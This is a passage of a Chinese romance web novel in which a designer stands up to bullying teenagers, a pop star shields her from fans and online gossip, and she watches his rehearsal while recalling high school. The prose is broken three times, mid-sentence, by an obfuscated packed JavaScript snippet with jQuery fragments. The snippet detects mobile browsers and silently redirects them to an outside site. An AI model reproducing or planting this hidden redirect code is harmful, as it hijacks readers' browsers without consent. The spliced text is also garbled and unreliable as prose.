专注地看着Jessica,微微歪头,圆眼弯起,盛在眸子里的光彩细碎地溢出来。不知道Jessica说了句什么,她裸露在外的肩膀轻轻耸了一下,头往后仰了仰,显出修长的脖颈线条。
他没动,眼睛仍看着那个方向。
香槟色的裙摆随着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489046|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脚步摇曳,露出纤细的脚踝和那双细跟高跟鞋。
她走过的每一寸地面,
似乎都比别处要亮几分。
季煦礼放平嘴唇,木然地收回视线。
走向完全相反的方向。
///
第二天下午,云缇依约前往咖啡馆。
她到得早,也没催小张,索性坐在外摆位吹风。
北楦气候和南榆格外不同,连十月的风也异于南榆黏腻绵软的触感,像一把磨得锋利的薄刀,卷起不可一世的阵势冲过来,几乎将人掀到。
云缇倒觉得稀奇,只是竖起大衣领子,护住桌上的咖啡,却不想去室内避风。
天空升得极高,一片云都寻不得,只呈现干燥、纯粹的湛蓝。
街道上铺着一层厚厚的落叶,树枝变得光秃秃,只剩粗壮的筋骨,投在地上的影子边缘清晰锐利。
行人要么手捧热乎乎的烤红薯,要么揣着袖子急匆匆往前走,每家每户都紧闭窗门。
云缇沉默地观察眼前街景,时不时抿一口手里的拿铁。
风早把咖啡吹凉了。
舌尖残留着些微甜意。
还没来得及细品,突然听见一阵由远及近的响动。
她循声望去,瞧见几个穿着校服的高中生正笑闹推搡。
校服被风吹得鼓起,其中一个男生举着手机对着同伴拍,步子走得歪歪扭扭,笑声在沉寂的街头掀起好一阵波澜。
低头看看自己的衣服,再看看他们整齐划一的校服款式,有种淡淡的怅惘涌上心头。
云缇调出和林从菡的聊天框,慢慢打字:
【我出差路上碰到了几个高中生,看上去无忧无虑的。】
林从菡这几天在休假,回消息总是很快。
【猫猫拍头.jpg】
【想我了就直说。】
云缇唇角抿出一抹笑意,正要再说些什么,忽然发现耳边的笑声有些变调。
她抬头看去,瞧清这几个高中生的行为后渐渐收敛笑意,皱起眉。
不对。
那几个高中生已经换了姿势,方才还和睦的气氛消散殆尽。
其中两个男生架住那名最瘦弱的男生,另一个蹲下去,一把扯下瘦弱男生的鞋子,随手扔至路边的冬青丛里。
瘦弱男生拼命挣扎,脚悬在空中,脚趾头蜷缩着,够不着地。
扔鞋的那个掏出手机,退后几步,对着对方一阵猛拍,笑得前仰后合。
瘦弱男生没喊也没哭,只是憋红了脸,拼命把脚往回缩。
落入耳中的笑声忽然变得刺耳。
和记忆中某些场景重叠。
云缇握着咖啡杯的手紧了紧。
那几个学生已经松开瘦弱男生,凑到一起看刚才拍的照片,嬉笑的同时还还特地让开路,嚷嚷着:
“喂,赶紧去捡啊,不然你妈妈看到自己宝贝儿子光脚回家多心疼啊!”
瘦弱男生低着头,也不反驳,只单脚往冬青丛蹦。
周围有路人频繁看过去,但又犹豫着离开。
云缇深吸一口气,放下咖啡杯走过去。
“删了。”
声音不大,那三个男生愣了下,回头看她,有一瞬间的惊艳。
为首那个很快反应过来,端出毫不掩饰的轻蔑,扬了扬下巴,轻佻地说:“美女,关你什么事儿?”
“把照片删了。”云缇再一次重复。
拿手机那个男生斜了她一眼,继续对着瘦弱男生那只赤脚拍,挑衅地拖长声音:“我就乐意拍,你管得着吗?”
瘦弱男生还是不吭声,拼命缩肩膀,校服领子遮住半张脸。
云缇没动,已经盯着拿手机的那个,“我说,删了。”
拿手机那个和同伴对视一眼,笑起来,笑声粗粝,嘲意尽显。
他把手机举高,拍了拍自己的胸口,充满暗示意味地挑逗:“那你自己来拿啊,我让你删。”
同伴也暧昧地眯眼。
云缇没说话,只举起自己的手机,对着他们仨,按下了相机录制键。
镜头在他们三人脸上扫过。
为首那人登时变了脸色,“你干嘛?!”
“拍着玩儿。”她学着他的语气说话,慢慢往前走了一步,“拍清楚点儿,回头让学校认认,这是哪个年级哪个班——”
“操,你大爷的有病吧!”
高个子那个低声咒骂,眼神一横,凶神恶煞。
“拍你爹呢?”
话音未落,胳膊已经劈头盖脸地抡过来,掌风呼啸,她甚至能看清他手指间缠绕的旧疤。
一瞬间大脑空白,云缇本能地向后躲,步子慌乱间趔趄了一下。
没有摔到地上。
她撞进一个人怀里,硬邦邦的,带着点外套上残留的冷意。
“啪”一声脆响。
不是巴掌落到脸上的声音。
而是身后有一只手擦着她的脸颊抬起,越过她,准确无误握住那只挥过来的手腕。
风把他的气息送至鼻尖。
干净的皂香,混着淡淡的香根草味。
10. 第 10 章
云缇僵在那儿,看着那只手上青筋暴起,有声音从她头顶响起。
音量不高,沉得惊人,仿佛从胸腔里碾出来,因为突破社交距离而震颤。
“你想往哪儿扇。”
高个子男生的手被定格在半空,离她的脸只剩半寸。
他脸涨红,试图挣扎,挣不开。
那只挡住他的手像铁钳,攥得他手指关节咔咔作响。他疼得呲牙咧嘴,嘴里还在咒骂,声音却发虚:“松、松手!我操——”
后面那个字没出来。
那只手加了半分力道,高个子整个人往下一矮,膝盖差点儿着地。
男声还是从她头顶落下,从喉咙里滚出一个懒散的音节,不紧不慢,却莫名让她后脖颈的汗毛都应声竖起。
“嗯?”
呼吸落在耳畔,很烫,很重。
云缇有一瞬被烫到,如梦初醒地大步向旁走,直到彻底摆脱这个尴尬的姿势,回到社交距离才停下。
她无比后怕。
这是在大街上。
季煦礼绝对会被认出来。
而她刚才离他太近了。
如果照片被有心人拍下发到网上,再配上一个“季煦礼英雄救美,神秘女子究竟是谁”的热搜标题,说不准会有人顺藤摸瓜查她……
……自己的大头照极有可能会出现在微博广场。
极大概率会被人开户的恐惧铺天盖地涌上来。
云缇紧张地四处张望,果然看见有人偷偷举起手机开始拍照。
她避无可避,只得狼狈地用长发盖住自己大半张脸。
风从街口灌进来,吹乱了她的头发,视线也变得模糊。
高个子被攥着手腕,脸涨成猪肝色,另外两个男生早愣在原地一动不动,丝毫不见刚才的嚣张气焰。
云缇低着头,望着自己鞋尖,思绪乱糟糟的。
季煦礼余光瞥了她一眼,忽然往前站一步,不动声色把她挡在身后。
那几个男生却以为他还要动手打人,吓得疯狂挣扎,连连示弱:“哥、大哥,我错了!我错了!”
季煦礼刚一松手,他们便赶紧跌跌撞撞逃走。
他对这几个高中生逃跑的路线并不关心。
只歪头,侧目。
看向几步外的云缇。
她头发被风吹乱,面上还有没散尽的惊吓,却和刚才淡定和高中生对峙时的模样判若两人。
显然不是被那几个高中生吓的。
周围有人还没放下手机,议论声逐渐大起来,钻进云缇的耳朵。
“这绝对是季煦礼啊!就算化成灰我都认识,别说只是戴个口罩了。”
“那这女生又是谁啊?为什么季煦礼要帮她出头。”
“你有病吧,季煦礼正义感爆棚还要被审判吗?”
“是不是素人啊,害怕被拍吧?”
“等等,你觉不觉得这个女生有点儿眼熟……”
“……”
她闭了闭眼。
青年没动,站在原地看她,手插回大衣衣兜里。
凉风吹过,轻佻地撩起他额前的碎发,露出那双深邃的桃花眼。
他看着她脸色一寸寸白下去,从惊吓转为慌乱,最后变成他最熟悉的那种害怕神情。
每一次,她都会微微蹙眉,抿直嘴唇,连眼睛也到处乱瞟,刻意避免和人眼神接触,仿佛这样就能藏好所有的不安。
季煦礼忽然叹了口气。
很轻。
轻到只有他自己能听见。
“云缇。”
她应声睁眼,却摆明了排斥和抗拒,甚至不愿出声应答。
看着她这副神情,季煦礼笑了。
和面对镜头时那种完美的营业笑容不同,他唇角弧度很松,噙出几分无奈的意味。
他放缓语气,像是纵容:“你躲什么。”
云缇张了张嘴,没发出声音。
有种被人指责何不食肉糜的愤怒在胸腔里蔓延。
她想说,被人谩骂指责、被人开盒、影响正常生活的人不是他,他当然不需要躲。
可是大庭广众之下,绝对不可能说出这句话。
实际上,即便只有他们两个人,她也不好对甲方这样疾言厉色。
只能打落牙齿和血吞。
年轻男人往前走了一步,她下意识又退。
却听见他说:“站这儿等我。”
随后,他转过身去,看向聚在一起那几个仍举着手机拍个不停的女生,正面面对镜头。
他的身影正好挡住黑洞洞的镜头,把她整个人包裹在阴影里。
大衣鼓风扬起,立领不断拍打他紧绷的下颚线。
季煦礼慢条斯理地理了理领子,淡定地朝几人的镜头弯了弯唇。
是粉丝最熟悉的,他在舞台上放肆又从容的笑。
让人忍不住想要尖叫。
她们想要尖叫,又为了维护在偶像正主面前的形象,生生按捺住,用雀跃又激动的眼神看着曾经只在屏幕上见过的人。
季煦礼用熟稔的语气道:“拍挺久了吧?”
几个女生下意识点头,点完才反应过来,又捂着嘴激动地互相推搡:季煦礼在和她们说话!用这么温柔的语气和她们说话!
季煦礼把她们的反应看在眼里,又往前迈了一步,让她们能更清晰地看见自己的脸,又不会太近。
“冷吗?手举了这么久。”
那个女生看看自己举着手机的手——的确在抖,但她压根感觉不到冷。
“不冷!一点也不冷!”
季煦礼闻言点点头,语气很轻,像是闲聊:“别拍了,要是手冻坏了,回头还怎么抢我演唱会的门票?”
气氛骤然一松。几个女生都笑了,叽叽喳喳地打开话匣子:
“我们早就买好啦!”
“我们不是本地人啦,专门来北楦,就是为了你演唱会的首站。”
“哥你知不知道你演唱会的门票有多难抢啊……”
更有胆子大一点儿的,指了指他身后,问:“煦哥,这个姐姐是谁呀?”
季煦礼没有动,把云缇所在的方向遮了个严实。
而几步外的云缇把对话一字不落听进去,听见这话,更是立刻屏住呼吸,忐忑到连眨眼都忘了。
“她啊。”
他拖长尾音,散漫地说。
“我的人。”
几个女生表情呆滞,像是被这重磅炸弹砸傻了。
“工作室新来的。”不等她们反应过来,季煦礼不紧不慢地接上,“才来没多久,正为演唱会努力呢,好不容易才招到个有水平的设计师,你们别给人吓跑了。”
那几个女生又笑了,这回笑得更放松了。
经常逛超话的都知道,前段时间演唱会设计师团队有人撂杆子不干这事儿。
身份也能对上。
“哥你说话也太吓人了……”
“还以为自己当了回吃瓜一线呢!”
“那刚才那几个男的……”
“欠揍。”季煦礼毫不犹豫地说,“我的人我能不护着?”
说着,他漫不经心地转了转手腕,“手劲大了点儿,没吓着你们吧?”
几个女生疯狂摇头。
他看着她们,挑了挑眉,又不经意地走近一步,压低声音,“和你们商量个事儿。”
几个女生见他走近,呼吸都错乱半拍,根本没听清他在说什么,只一个劲儿点头:
“不管什么都可以!”
季煦礼失笑,下巴往身后一抬,语气稀松平常:“她脸皮薄,刚才拍的那些,发可以,把她脸挡上,行不行?”
偶像用好商量的语气恳请,怎么可能拒绝得了?
几个女生小鸡啄米似的点头,毫不犹豫应下来。
“哥你放心!”
“肯定不让小姐姐露脸!”
“我们懂的我们懂的!绝对不让你为难!”
季煦礼眨了下眼,微微俯身,直视她们的眼睛,认真道:“谢谢。”
几个女生吓得连连摆手:“顺手的事儿!”
他却不赞同,继续说:“过会儿你们联系一下小张,登记一下,北楦演唱会我给你们安排内场。”
这下,她们也不说“不要客气”这类话了,再也按捺不住尖叫,无比兴奋地应下来,被突如其来的惊喜砸晕头脑,抱在一起跳来跳去。
云缇沉默地站在原地。
她看着季煦礼无比娴熟地和粉丝沟通,三言两语间就把她担心的事儿妥善解决。反倒在这一刻,从季煦礼身上窥见了几分高中时代的影子。
不再是伪装出来的大冰山。
而是无法无天、我行我素的混世魔王。
却偏偏周围所有人都心甘情愿顺其心意。
再回神,季煦礼已经回到她面前站定。
她抬头看着他,长时间不眨眼,导致眼眶微微发酸。
季煦礼低头和她对视,方才面对粉丝时的放松从容消失不见,又端起高不可攀的架势,慢吞吞地说:
“放心,没人会扒你。”
云缇尴尬地捋了下鬓边的碎发,为自己刚升起就被打碎的恼怒而尴尬,喃喃地说了声“谢谢”。
许是这一瞬的季煦礼看上去太熟悉,她竟没忍住多问了一句:“你怎么确定她们会听你的话?”
问完,她又觉得多此一举。
毕竟一直在娱乐圈工作,她也很清楚粉丝的爱是什么样。
“你在担心什么?”季煦礼眸色很淡,眼神里有她读不懂的情绪,“担心她们乱写影响到你?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489047|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
云缇想要辩解,又不知该从何说起,只得默然地别开视线,打官腔来回避问题:
“煦哥千万别这样想我,您肯帮我,我感激都来不及,只是担心会影响到您……”
“行了。”季煦礼面无表情地扯了扯嘴角,温情的语调早就不复存在,“冠冕堂皇的话少讲。”
“……”
小张也不知在一旁站桩了多久,这时才凑上前来,和季煦礼说:“煦哥,车来了。”
季煦礼颔首,又朝她递来一眼,冷冰冰地说:“走吧,顺路送你回去。”
说罢,他便自顾自朝保姆车的方向走。
周围粉丝越围越多,早把这个街角围得水泄不通,却还理智地流出一条通道来,让季煦礼畅通无阻地走向保姆车。
有粉丝费力地挤到前排给他递信,他绷着脸说不行,但最后还是全部收下了。
云缇站在原地,看向小张,委婉拒绝:“想必你们之后还有安排吧?小张,我把伞还给你,之后就不打扰了,多谢好意。”
“真不用客气,反正我们也是要去走场的,你们设计团队今晚也得到场。”小张瞅瞅季煦礼的背影,又看看她,劝道,“你看现在这架势,待会儿还不知道要堵多久,要是晚上迟到了不是得不偿失吗?”
云缇没接话,只是默默回到咖啡馆外摆位拿起伞递给他,再次婉拒:“真的谢谢了,我还是自己走吧。”
“哎,你这……”小张眼珠子转得飞快,“姐,你这要走了,我们不好办啊。要是粉丝指责我们苛待员工怎么办?你也知道现在粉圈很敏感的,就当帮我们维护一下煦哥形象,一起走好不好?”
说着,他双手合十,做了个拜托的手势。
在季煦礼上车后,有不少人也在注意他们俩的动静。
无数双眼睛盯着,云缇赶紧侧身躲开小张这个动作,硬着头皮答应下来:“那好吧。”
“谢谢姐!”小张立马笑开,“那你先上车等等,我去登记一下刚才那几个粉丝的身份信息,马上就来。”
她只得捏着手里拿把伞,飞快地朝保姆车移动步子。
若不是像快些隔绝这些打探的目光,她也不愿意上赶着和季煦礼独处。
拉开车门,季煦礼坐在后排闭目养神。
她硬着头皮在后座另一端坐下,关上车门,隔绝车外的喧哗。
人已经坐在车上了,多少要说句感谢,她小声道:
“谢谢煦哥体恤。”
季煦礼没应,也没睁眼。
她反而松了口气,靠着车窗打开手机。
长发垂下来,拦住余光,也拦住了对方可能望过来的视线。
给予她微薄的安全感。
还没来得及点开微博,就听见身侧的人开了口。
“你刚才帮的那个男生已经趁乱走了。”
云缇没想到他会再度主动开口和她说话,愣了愣,坐直身子,应道:“这样啊。”
她没有回头,保持着低头看手机的动作。
青年垂眸看过来的视线被一头青丝挡住。
只能听见他意味不明的声音:“不会不高兴?”
云缇不解地反问:“为什么会?”
“施以援手差点儿把自己搭进去,结果连声谢都没收到。”季煦礼喉结上下一滚,“不亏吗?”
沉吟片刻,云缇还是决定坦诚回答。
“我帮他,不是因为多有正义感,或是什么英雄主义作祟。纯粹是看他缩在那儿,连脚都不知道该往哪放的样子……”她犹豫一瞬,继续说,“和我当年一模一样。”
“我知道,虽然他没有看我,也没有说谢谢。但是某天醒来,可能会想起有这么一个姐姐,挡在他前面——当然,也可能不会想起。”
云缇放下手机,五指并拢,看着自己的指尖,很淡地笑了下。
“但是,我想让他有这个机会。”
空调内循环一直在运转,出风口有细微的嗡嗡声。
车内空气很安静。
她轻轻呼出一口气,侧目看了眼窗外。
有个抓了一大把气球的老爷爷站在街边。
高中时,三中不远处的拐角就有这么一位卖气球的爷爷,每周回家时她总是脚步匆匆,从不敢停留。
因为始终低着头走,她从来没看清过那些气球。
隔着玻璃,她盯着那一大簇气球,心情松快。
现在想想,大概和眼前的气球一样。
是五彩斑斓的。
心思已百转千回,一旁的季煦礼却始终没有吭声。
云缇不由得纳闷,甚至有点儿后悔自己说了实话。
她试探着,小心翼翼往季煦礼的方向瞥。
忽然,
季煦礼抬手,撩了一下她垂在脸侧的长发。
11. 第 11 章
在大脑思考前,身体已经先一步做出反应。
云缇迅速贴在车门上,避开了他的手。
指尖触到的只有风。
那缕发丝像一道墨痕,从季煦礼指尖滑走,只留下一阵淡淡的痒。
他的指节仍微微屈着,保持着虚握的姿势,可惜什么都没抓住,只有空气在指间流动。指腹残留着发丝划过时留下的触感,细细软软,让人不太确定是否真实存在过。
季煦礼手在空中顿了顿,随即若无其事地落在自己膝上。
窗外有灯闪进他的眼睛,眸里有什么亮了又暗,最后归于沉寂。
他短促地笑了下,没什么温度:“你对陌生人倒是很上心。”
车内安静得像是被抽干了空气。
年轻男人不再说话,平淡地收回了目光。那句话就这样不轻不重地落下,像是太碎小的颗粒落入水中,半点儿水花都没溅起。
但云缇敏感地察觉到后半句未尽的言语。
她张了张嘴,想说些什么。
驾驶位的车门忽然被拉开,外界喧嚣涌进来,小张迅速钻进车内,重新关上门,语速飞快地说:“抱歉抱歉,煦哥久等了,咱现在就出发。”
季煦礼已经重新合上眼,靠在椅背上,不冷不热地应声。
她只好把未尽的话语尽数咽回去。
小张通过后视镜打量后排座的二人,再神经大条也能意识到气氛不对,只得眼观鼻鼻观心,不再说话。
保姆车慢吞吞地在路上行驶。
路上很堵,车内很安静。
云缇保持着靠在车门上的姿势,尽最大可能和季煦礼拉远距离。
对季煦礼刚才那句话微妙的不悦还未散去。
她抿直嘴唇,努力挥散这点儿不快,又记挂着刚才在街口发生的事,垂眸看向手机,开始在微博搜索。
微博广场第一条就是今天的视频。
云缇迅速点开,开倍速看了好几遍。
没有任何一帧露出她的脸。
她提着口气,开始翻看评论区。
最上面几条全是大粉控评,到后面便吵成一锅粥了。
【季煦礼人真的好好啊……路见不平拔刀相助!】
【真的,他和粉丝说话的语气也好温柔,呜呜呜我哭死,怎么我不在现场!】
【你们看他手上青筋都爆了,要不是季煦礼在那个女生肯定会有危险啊,真是苏爆了!】
【笑死,粉丝还在这儿感动呢。你家哥哥攥人手腕的劲儿一看就是练过的,练习怎么在镜头前“帅气地”制止坏人。真打起来他敢吗?】
【不是,就为了这事儿送演唱会内场门票是不是太不公平了?】
【这操作太刻意了吧,还全程有人跟拍,你说不是摆拍谁信?】
【季煦礼肯定跟这女的有一腿,不然为什么护这么紧?明星平时能和工作人员贴这么近?】
【都说了事发突然,黄谣张口就来?】
【剧本吧……明星出门不带保镖不带助理?还正好被拍下来了?季煦礼这咖位还搞这套,好掉价。】
【我在现场,真不是剧本。那几个高中生真的完全就是霸凌,那个姐姐是第一个站出来的人,也就只有她一个人。季煦礼后面才过来。】
【楼上,群演一天200。想必你家正主也不差这点儿钱。】
【只要帮季煦礼说话就马上按头粉籍?有没有王法了。】
【之前不是对记者冷脸吗……现在买热搜洗什么……】
【来分析一下时间线,季煦礼下个月巡回演唱会开场,这个节骨眼“恰好”路见不平,“恰好”被人拍到——营销学经典案例,这波预热我给满分。】
【……】
云缇心情复杂,在评论区翻了好半天都没翻到底。
手指有些凉。
方才的不快已经被此刻的情绪取而代之。
她犹豫一瞬,点了一下回复键,拇指悬在输入框上方,删删改改,最后还是发了出去。
【要是被扇巴掌的是你,你希望身边人是冷眼旁观还是像季煦礼这样出手相助?】
手指有些抖,她继续往下翻,又选中回复。
【走在路上帮同事一把,在你嘴里就成了见不得人的事,平时生活很不如意吧?】
【是真是假,被帮助的人会记住。】
活了二十五年,她从来没有在网上和人吵过架,甚至从来没在网上发过言。
但季煦礼毕竟是因为她才平白遭此一难,要是自己不说点儿什么,她心中也过意不去。
虽然她现在的回复在几十万评论里也微不足道,甚至语气还不如粉丝控评时强有力,但这已经是她绞尽脑汁想出的全部。
她的微博什么都没发过,连ID都是默认的字母和数字,甚至没有实名,不会有任何人知道她是谁。
心跳很快。
不再是为可能被开盒而担忧,而是因为头一次在网络上维护谁。
很快,就有人回复她的评论。
【群演只能记住今天的两百块^^】
【那季煦礼从出现到出手中间这十几秒停顿是在干嘛?当然是在等镜头到位啊,真正的见义勇为哪有这么多讲究,你们粉丝能不能别再闭眼爱了。】
云缇盯着屏幕,忽然觉得有些冷。
她想起在那个瞬间,那高个子即将挥下来的巴掌,想起那时大脑的空白和抑制不住的恐慌,想起从耳侧擦过去的手,还有季煦礼泛白的指节。
而这些人在遥远的地方不屑一顾地敲下“剧本”、“摆拍”、“营销”的字样。
说不清道不明的凉意从骨头缝里渗出来。
明明知道发生了什么,可是不论怎么说,都不会有人相信。
网友只想相信自己愿意相信的,并借此发泄自己的情绪。
她把手机扣在腿上,靠着车窗,眼眸一转,看向季煦礼。
季煦礼入行也有四年了。
这样的评论绝不只出现了这么一次。
他每次看到这些评论的时候,都在想什么呢?
云缇抿直嘴唇。
这简直是世上最不公平的事。
做了好事,却得不到赞扬,反而被恶意揣测、谩骂诋毁。
明明他是不用经历这些的。
他原可以做一辈子骄傲的天之骄子,只与鲜花和美名相伴。
在季煦礼有所察觉,并侧目朝她往过来的前一秒,云缇迅速闭上眼睛。
那份不解在心中漾开。
——季煦礼为什么会成为歌手?
///
高架桥上的确很堵,他们抵达场馆时,天已彻底黑下来。
季煦礼在后半程始终一言不发,保姆车停好后便冷着脸推门离开,完全把云缇视为空气。
小张望着季煦礼的背影挠了挠头,面上有些着急。他回头冲云缇笑笑,满怀歉意道:
“不好意思啊,今天煦哥发烧了,精神不太好,他平时还是很好相处的。”
说罢,不等云缇回答,他赶紧拿着水杯跟了上去。
云缇站在原地,怔怔地眨了眨眼。
几秒后,她才抬腿朝场馆的方向走。
Jessica正站在场馆门口等她,看着她和季煦礼二人一前一后走进来,挑了挑眉,抓住她的胳膊,压低声音问:“你真和小张没什么?别瞒着我。”
“真没什么。”云缇不得不停下脚步,“就是顺路把我捎过来了。?”
Jessica冷笑:“顺路——少给我来这套,你以为季煦礼会随便点头让人搭便车吗?”
看着对方这副严防死守办公室恋情的架子,云缇不得不简单地把下午的事儿陈述一遍,再翻出那条微博视频以作佐证。
确认了事情的真
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489048|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实性,Jessica才肯罢休,拍了拍她的肩膀,夸了她句见义勇为,随后话锋一转,开始飞快地和她交代今晚的工作。
云缇勉强跟上Jessica过快的脚步,一面听一面点头,在心里默默又重复了一遍大概流程,以免自己忘记。
舞台已经搭好,确定灯光音响没问题后,季煦礼便站上去开始彩排。
年轻男人棒球帽压得很低,帽檐下露出几缕没打理过的碎发,宽大的灰色T恤也被他撑出养眼的版型。
灯光师只留了一束光,打在他头顶,将他整个人笼罩进略显清冷的光晕里。
没有妆容,也没有发蜡抓出的发型,他的脸上甚至还能辨出几分倦色。
云缇和其他人一起,仰头看着站在聚光灯下的季煦礼。
就像高中时,她挤在人群里无数次的抬头。
青年站在话筒前,微微低头,试了下音。
第一个鼓点敲在心头。
周遭所有杂音都消失了。
季煦礼的声音从音响里缓缓流淌出来,比平时说话低些,像砂纸摩挲木面,让他的声线拥有特别的质地。
在场所有工作人员都在看他。
云缇的视线也不再躲闪,头一次持续地落在季煦礼身上。
他的状态太好,先前还气定神闲地解决了那几个飞扬跋扈的高中生和拍摄的粉丝,若不是小张说了那句话,她完全看不出他正在发烧。
仔细看,才注意到他两侧颧骨一小片不自然的红。
身体的不适让他的嗓音比平时多了几分不一样的温度,像琴弦被调松了半度,每一个音都带着点儿微颤的尾调。
整场彩排,他几乎没有看过台下,目光只虚虚落在话筒或是远处无人的座位上。
鼓点渐密,青年仰起头,闭上眼,睫毛在眼下透出浅浅的影,聚光灯打在脸上,勾勒出他五官的轮廓,让那两坨薄红更加明显。
“*我哼着从前的歌,那时的你和我……”
旋律从他喉咙里缓缓流出,气息比之前更稳一点儿,猛地往下一沉。
“……天冷了,入秋了,
我点燃回忆的灯火……”
云缇的心也被他的声线勾住往下坠。
她几乎是不受控制地想起多年前的初秋。
闷热的音乐教室,散乱的桌椅。
穿着白衬衫的少年吊儿郎当地坐在桌上,抱着吉他,手随意一拨,就是清亮的琶音。
时下流行的情歌,他把词咬得含糊,桃花眼却直勾勾盯着她,长而直的睫毛随着节拍颤啊颤,在眼底落下一小片影。
是和现在截然不同的音色,却又能轻易辨出同一人的特色。
最后一个音滑出,带点蓝调的涩。
少年歪了歪头,手指还按在弦上,弦不震了,只有雨还在震。
“我最讨厌弹琴,也就你有这个待遇,让我破例一回。”
他倾身凑近,悄无声息地握住她的指尖,尾音拖得很长:“你要怎么回报?”
那天的回答,她已记不清。
只记得,忽然倾倒的雨声噼啪。
心也被泡软。
“……”
耳膜被鼓点刺激,她恍然回神,攥紧自己空荡荡的手指,目光重新聚焦在七年后的青年身上。
他低低的歌声还在继续,因为是彩排,所以站姿也显得随意,一手搭在话筒上,一手插在兜里,连咬字都显得散漫。
“梧桐落添几分秋,你一人远走。”
最后一个音落下,他忽然低头,目光穿过聚光灯的边界,越过调音台上闪烁的指示灯,准确无误地朝台下某个位置看来。
季煦礼的视线停住了。
他喉结上下滚动,像吞咽了什么,声音却没有断,顺着涩意滑进下一句歌词里。
“无言独走上西楼,
望不到,你回眸。”
12. 第 12 章
彩排顺利结束。
几乎没人看出季煦礼发了烧,青年刚一下台,就被工作人员团团围住,有人递过新耳麦,有人拿着打印好的流程表问明早的动向,小张也挤到人群最前端,忧心忡忡地递去一瓶热水。
连一贯挑剔的Jessica也与云缇耳语,说在业内没见过几个比季煦礼音色条件更好的。
云缇沉默地越过人群看着青年。
方才的歌词犹在耳畔回荡,她忽觉耳廓有些痒,忍不住抬手摸了下。
鸭舌帽帽檐很宽,挡住了那双上翘的桃花眼,只露出他流畅削瘦的下巴。
青年倾身去看那份流程表,偶尔点头,说两个字,声音比刚才唱歌时低好几个度,带着明显的哑。
敲定了最后方案,他才从小张手里接过水瓶,仰头将其一饮而尽,喉结上下滚动的弧线明显。
光只追至他半侧脸颊,另一半则隐于黑暗中,有水滴顺着脖颈的弧度一路往下,他随意用手背蹭了下,继续听旁边的工作人员说话。
线缆在地上张牙舞抓地蔓延,隔着灯架和人群,将云缇和季煦礼所站的位置连接起来。
耳边是工作人员嗡嗡的交谈声,对讲机里有刺啦作响的电流声,还有人拖着设备箱从身后经过,轮子在地面滚动,偶尔绊住线缆,发出细碎的声响。
一盏落地灯架光线强度被拉到最高,刺得人视野发白,即便闭眼也睁不开闪烁的光。
云缇视线模糊一瞬,有什么东西从光晕里滑出来,变得稀薄,带着点儿暖调的温度。
在这样的强光中,她恍惚看见了季煦礼站在主席台上的样子。
那是高中她第二次和季煦礼见面。
星期一的升旗仪式,她夹在队伍中间,前后左右都是人,抬起头也只能看见同学的后脑勺。
身后那几个女生正嬉笑着小声说着什么,她旁边也有同学神态莫名地瞥她,她努力无视周围若有若无的打量和讨论,低头去看自己发白的运动鞋。
先前那双被水泡烂之后,她只剩下这一双运动鞋了。
黑色的鞋被洗成白色,看起来有些滑稽,连侧身的字母都脱落了几块,只剩下外圈的框线还挂在那儿。
广播里在喊口令,仪仗队踩着鼓点从操场侧面走出来,云缇前面两个女生肩膀碰着肩膀,压低声音说了句“又是他”,另一个虽没接话,嘴角却弯起来。
这种语调云缇很熟悉。
是那种提到大家都认得的人时才会有的笃定。
她麻木的表情终于掀起涟漪,鬼使神差侧了下头,勉强从两个肩膀之间的缝隙看过去。
白色手套,银色号嘴,旗手扛着旗走在最前面。阳光照在小号上,反射出刺眼的白光,一闪一闪地从队列上方跳过去。
今天的旗手是季煦礼。
却完全不符合旗手该有的规矩样子。
季煦礼的旗手服拉链只拉到一半,露出里面白色T恤的领口,袖子松松地在手肘处挽了两道,甚至还露出了半截小臂。
隔着拥挤的人群,云缇认真地打量他。
少年站在旗杆下,微微歪头看着另一名旗手把国旗从旗杆上解下来。
他头发比学校规定的长度要长不少,额前的碎发被风吹起来时能看见发尾不太明显的弧度,是烫过的痕迹。
左耳垂上有个很小的银色耳钉,在阳光下一闪而过,很快被头发遮住。
张扬不羁的少年和身侧严肃又正经的旗手风格南辕北辙。
云缇的目光停在季煦礼身上,没有动。
自上次季煦礼帮了她之后,她便不自觉留意对方的动向。
想要了解季煦礼实在是件很轻松的事,因为生活中有无数次机会听见关于他的议论。
季煦礼几乎是叛逆的代名词,打耳钉、烫头发、迟到早退,让所有老师头疼,生怕他带坏班里其他同学,偏偏他每次考试都能刚好卡在年级前一百,尖子班的吊车尾,普通班的尖子生,像根鱼刺不上不下,卡在各科老师喉咙里。
可没有任何学生讨厌他。
无论他走到哪儿,身边总拥着一群人;无论什么投票,他总是高居榜首;就算老师拿他当反面教材训人,大家也只会善意起哄,随后继续追捧。
